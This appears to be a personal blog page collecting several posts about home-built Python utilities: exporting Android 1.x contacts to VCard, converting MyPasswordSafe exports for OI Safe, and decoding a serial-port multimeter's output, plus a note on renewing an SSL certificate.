UPDATE: For this site, I buy my SSL cert through ​DreamHost. I had to open a help ticket to get them to remove the existing cert from the domain in their management application before I could get a new cert. (If you already have a valid cert, the site will let you click on buttons to buy a new cert, but it won't actually take any action on it. That is a reasonable choice in order to avoid customers buying duplicate certs -- but it would be nice to be able to do so anyway.) The response to my help ticket took longer than I would have liked, but I can understand they're likely swamped, and probably don't have a lot of automation around this since they would reasonably not foresee needing it. Once they did that, I then had to buy a new cert from them. I was happy to see that the new cert I bought is good for more than a year -- it will expire when the next cert I would have needed to buy would have expired. Which means that while I had to pay for a new cert, in the long run it will not cost me anything extra. And the new cert has an updated issue date so users can see that I have updated it.

I'm finally getting around to upgrading my trusty old ​Android Dev Phone 1 from the original Android 1.5 firmware to ​Cyanogenmod 6.1. In doing so, I wanted to take my contacts with me. The contacts application changed its database schema from Android 1.x to Android 2.x, so I need to export/import. Android 2.x's contact application supports importing from VCard (.vcf) files. But Android 1.5's contact application doesn't have an export function.

So I wrote a minimal export tool​.

The Android 1.x contacts database is saved in /data/com.android.providers.contacts/databases/contacts.db which is a standard sqlite3 database. I wanted contact names and phone numbers and notes, but didn't care about any of the other fields. My export tool generates a minimalistic version of .vcf that the new contacts application understands.

Example usage:

./contacts.py contacts.db > contacts.vcf
adb push contacts.vcf /sdcard/contacts.vcf

Then in the contacts application import from that file.

If you happen to have a need to export your contacts from an Android 1.x phone, this tool should give you a starting point. Note that the clean_data function fixes up some issues I had in my particular contact list, and might not be very applicable to a different data set. I'm not sure the labels ("Home", "Mobile", "Work", etc.) for the phone numbers are quite right, but then, they were already a mess in my original data. Since this was a one-off task, the code wasn't written for maintainability, and it'll probably do something awful to your data--use it at your own risk.

Having failed to get my ​Openmoko ​FreeRunner working as a daily-use phone due to ​buzzing, I broke down and bought an ​Android Dev Phone. One of the key applications I need on a phone or PDA is a password safe. On my FreeRunner, I was using ​MyPasswordSafe under Debian. But for Android, it appears that ​OI Safe is the way to go at the moment. So I needed to move all my password entries from MyPasswordSafe to OI Safe. To do that, I wrote a python utility to read in the plaintext export from MyPasswordSafe and write out a CSV file that OI Safe could import. Grab it from subversion at https://retracile.net/svn/mps2ois/trunk or just download it​.

However, I am not entirely happy with OI Safe. It appears that the individual entries in the database are encrypted separately instead of encrypting the entire file. Ideally, OI Safe would support the same file format as the venerable ​Password Safe and allow interoperability with it. But more disconcerting is the specter of data loss if you uninstall the application. OI Safe creates a master key that gets removed if you uninstall the application. Without the master key you can't access the passwords you stored in the application, even if you know the password. The encrypted backup file does appear to include the master key, so be sure to make that backup.

A couple of years ago, my father-in-law gave me a very nice multimeter; it has a serial port. Unfortunately, the software was Windows-only, and I don't have a machine running Windows. (Lots of Linux, one OS/X, no Windows.)

I found the data sheet for the interface (it is still available ​here), and then wrote a Python program to decipher it from a set of bits (indicating which LCD segments are lit) into something more human-readable.

Since others may find it useful, I am publishing it here​ under the GPLv2 (or later).

If your serial port is, say, /dev/ttyUSB0, you would run it something like su -c "./digitalmultimeter.py /dev/ttyUSB0", and use ^C to kill it. The output will look something like this:

1206840186.138602 DC V AUTO RS232 - 009.8  m V
1206840186.419604 DC V AUTO RS232 - 007.8  m V
1206840186.669599 DC V AUTO RS232 - 007.8  m V
1206840186.918569 DC V AUTO RS232 - 008.3  m V
1206840187.168605 AC V AUTO RS232 ~ ---.-  m V
1206840187.449606 AC V AUTO RS232 ~ 304.8  m V
1206840187.761612 AC V AUTO RS232 ~ 300.8  m V
1206840188.010604 DC uA AUTO RS232 ---.- u A
1206840188.260576 DC uA AUTO RS232 000.0 u A
1206840188.541612 DC uA AUTO RS232 000.0 u A
1206840188.790602 DC uA AUTO RS232 000.0 u A
1206840189.040602 DC mA AUTO RS232 --.--  m A
1206840189.331640 DC mA AUTO RS232 00.00  m A
1206840189.601607 DC mA AUTO RS232 00.00  m A
1206840189.881570 DC mA AUTO RS232 00.00  m A
1206840190.132610 OHM AUTO RS232 ---.-  Ohm
1206840190.381606 OHM AUTO RS232 ---.-  Ohm
1206840190.631607 OHM AUTO RS232  .0F   K Ohm
1206840190.880600 OHM AUTO RS232  0.F   K Ohm
1206840191.130583 OHM AUTO RS232  0F.   K Ohm
1206840191.398708 OHM AUTO RS232  .0F   M Ohm
1206840191.660601 OHM AUTO RS232  .0F   M Ohm
1206840191.941613 CONT RS232 BEEP Open  
1206840192.191605 CONT RS232 BEEP Open  
1206840192.440545 CONT RS232 BEEP Open  
1206840192.690597 CONT RS232 BEEP Open  
1206840192.940560 CONT RS232 BEEP Open  
1206840193.189600 CONT RS232 BEEP Open  
1206840193.439560 HZ AUTO RS232 ---.-  Hz
1206840193.720864 HZ AUTO RS232 060.0  Hz
1206840193.969599 HZ AUTO RS232 060.0  Hz
1206840194.239601 HZ AUTO RS232 060.0  Hz
1206840194.500598 HZ AUTO RS232 060.0  Hz
1206840194.789571 HZ AUTO RS232 060.0  Hz
1206840195.061609 HZ AUTO RS232 060.0  Hz
1206840195.342567 HZ AUTO RS232 060.0  Hz
1206840199.105551 HFE RS232 0000 hFE 
1206840199.354549 HFE RS232 0000 hFE 
1206840199.666572 HFE RS232 0000 hFE 
1206840199.916550 HFE RS232 0000 hFE 

Update: This tool now has its own project page, DigitalMultimeter.